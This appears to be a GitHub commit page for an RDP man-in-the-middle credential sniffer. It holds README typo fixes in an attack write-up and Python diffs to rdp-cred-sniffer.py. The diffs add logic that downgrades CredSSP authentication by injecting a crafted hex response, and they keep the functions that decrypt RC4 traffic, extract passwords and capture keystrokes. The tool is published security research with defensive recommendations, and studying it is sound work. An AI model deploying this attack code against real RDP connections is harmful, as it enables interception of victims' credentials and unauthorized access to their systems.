Skip to content

Commit

Permalink
qa matthias d, bugfix johannes m, added clone-cert.sh, requirements.txt
Browse files Browse the repository at this point in the history
  • Loading branch information
AdrianVollmer committed Mar 7, 2017
1 parent accca1f commit a1a34fe
Show file tree
Hide file tree
Showing 4 changed files with 33 additions and 19 deletions.
16 changes: 8 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -431,10 +431,10 @@ but for whatever reason Microsoft decided to not just use that as the
symmetric key. There is an [elaborate
procedure](https://msdn.microsoft.com/en-us/library/cc240785.aspx) to derive
an encryption key for the client, an encryption key for the server and a
signing key. It's boring but straight forward.
signing key. It's boring but straightforward.

After we derive the session keys, we can initialize the s-boxes for the RC4
streams. Since RDP is using a seperate key for messages from the server than
streams. Since RDP is using a separate key for messages from the server than
for messages from the client, we need two s-boxes. The s-box is an array of
256 bytes that is shuffled in a certain way that depends on the key. Then
the s-box produces a stream of pseudo random numbers, which is xor-ed with
Expand Down Expand Up @@ -471,7 +471,7 @@ the data stream. My Python implementation looks like this:
As you can see, the protocol requires the key to be refreshed after 4096
encrypted packets. I haven't bothered to implement it because I'm only
interested in the credentials as a proof of concept anyway. Feel free to
send me patch!
send me a patch!

Now we have everything we need to read all traffic. We are particularly
interested in packets that contain information about keyboard input events,
Expand Down Expand Up @@ -617,7 +617,7 @@ hash of the user's password together with some other values onto a
cryptographic hash value. This value, called the _NTLM response_, is then
transmitted to the server.

The details of how this value is computer are not
The details of how this value is computed are not
important to us. The only thing we need to know is that
it cannot be replayed or used for Pass-the-Hash
attacks. But it can be subjected to password guessing attacks! The
Expand Down Expand Up @@ -685,11 +685,11 @@ match the fingerprint of the server's certificate, the session is
terminated.

That's the reason why the above works if the victim provides incorrect
credentials - we're able to see the (incorrect) password. However, if the
credentials - we're able to see the (incorrect) password. However, if the
password is correct, we'll observe a TLS internal error.

A workaround that I came up with was to simply tamper with the NTLM
response. I changed the Python script such that the NTLM authentication will
response. I changed the Python script so that the NTLM authentication will
always fail by changing the NTLM response. Our victim won't notice, because
as we just saw, we can downgrade the connection to TLS, after which the
credentials will be retransmitted.
Expand All @@ -699,7 +699,7 @@ However, there is one more thing we need to take into account. If the client
can tell that you're trying to connect to a domain-joined computer, it won't
use NTLM. It will want to use Kerberos, which means it will contact the
domain controller before establishing the RDP connection to request a
ticket. That's a good thing, because a Kerberos ticket is even more useless
ticket. That's a good thing, because a Kerberos ticket is even more useless
to an attacker than a salted NTLM response. But if the attacker is in a MitM
position, he could block all requests to the Kerberos service. And guess
what happens if the client can't contact the Kerberos service? Exactly, it
Expand Down Expand Up @@ -785,7 +785,7 @@ Recommendations
Now you're probably wondering what you, as a system administrator, can do
about all of this to keep your network secure.

Ideally, servers must insist on using CredSSP (NLA). This can be rolled out
Ideally, servers must insist on using CredSSP (NLA). This can be rolled out
as a [group
policy](https://technet.microsoft.com/en-us/library/cc771869(v=ws.10).aspx):

Expand Down
1 change: 1 addition & 0 deletions clone-cert.sh
34 changes: 23 additions & 11 deletions rdp-cred-sniffer.py
Original file line number Diff line number Diff line change
Expand Up @@ -332,8 +332,6 @@ def decrypt(bytes, From="Client"):
cleartext = rc4_decrypt(bytes[offset:], From=From)

if not cleartext == b"":
# print("Ciphertext: ")
# hexdump(bytes[offset:offset+16])
if args.debug:
print("Cleartext: ")
hexdump(cleartext)
Expand Down Expand Up @@ -370,7 +368,7 @@ def final_hash(k):

global crypto

# Non-Fips
# Non-Fips, 128bit key

pre_master_secret = (crypto["client_rand"][:24] +
crypto["server_rand"][:24])
Expand Down Expand Up @@ -425,7 +423,6 @@ def extract_credentials(bytes, m):
struct.unpack('>H', unhexlify(x))[0]
for x in m.groups()
]
# TODO ordentlich machen
offset = 37
if domlen + userlen + pwlen < len(bytes):
domain = substr(bytes, offset, domlen).decode("utf-16")
Expand Down Expand Up @@ -572,11 +569,11 @@ def parse_rdp_packet(bytes, From="Client"):
regex = b".*0d00(.{4}).{164}0000" ## TODO
m = re.match(regex, hexlify(bytes))
if m and From == "Client":
# A parsing error here shouldn't be a show stopper, so catch exceptions
try:
result = extract_keyboard_layout(bytes, m)
except:
print("Error while extracting keyboard layout information")
# A parsing error here shouldn't be a show stopper
print("Failed to extract keyboard layout information")

if len(bytes)>3 and bytes[-2] in [0,1,2,3] and result == b"":
result = extract_key_press(bytes)
Expand Down Expand Up @@ -662,7 +659,7 @@ def downgrade_auth(bytes):
# 0: standard rdp security
# 1: TLS instead
# 2: CredSSP (NTLMv2 or Kerberos)
# 8: CredSSP + Early User Authorization
# 8: Early User Authorization
if m and RDP_PROTOCOL > args.downgrade:
print("Downgrading authentication options from %d to %d" %
(RDP_PROTOCOL, args.downgrade))
Expand Down Expand Up @@ -723,6 +720,14 @@ def close():
return False


def read_data(sock):
data = sock.recv(4096)
if len(data) == 4096:
while len(data)%4096 == 0:
data += sock.recv(4096)
return data


def forward_data():
readable, _, _ = select.select([local_conn, remote_socket], [], [])
for s_in in readable:
Expand All @@ -732,10 +737,14 @@ def forward_data():
elif s_in == remote_socket:
From = "Server"
to_socket = local_conn
data = s_in.recv(4096)
if len(data) == 4096:
while len(data)%4096 == 0:
data += s_in.recv(4096)
try:
data = read_data(s_in)
except ssl.SSLError as e:
if "alert access denied" in str(e):
print("Downgrading CredSSP")
local_conn.send(unhexlify(b"300da003020104a4060204c000005e"))
else:
print("SSLError: %s" % str(e))
if data == b"": return close()
dump_data(data, From=From)
parse_rdp(data, From=From)
Expand Down Expand Up @@ -766,6 +775,9 @@ def run():
break
except (ssl.SSLError, ssl.SSLEOFError) as e:
print("SSLError: %s" % str(e))
if "alert access denied" in str(e):
print("Downgrading CredSSP")
local_conn.send(unhexlify(b"300da003020104a4060204c000005e"))
except (ConnectionResetError, OSError):
print("The client has disconnected")

Expand Down
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
hexdump

0 comments on commit a1a34fe

Please sign in to comment.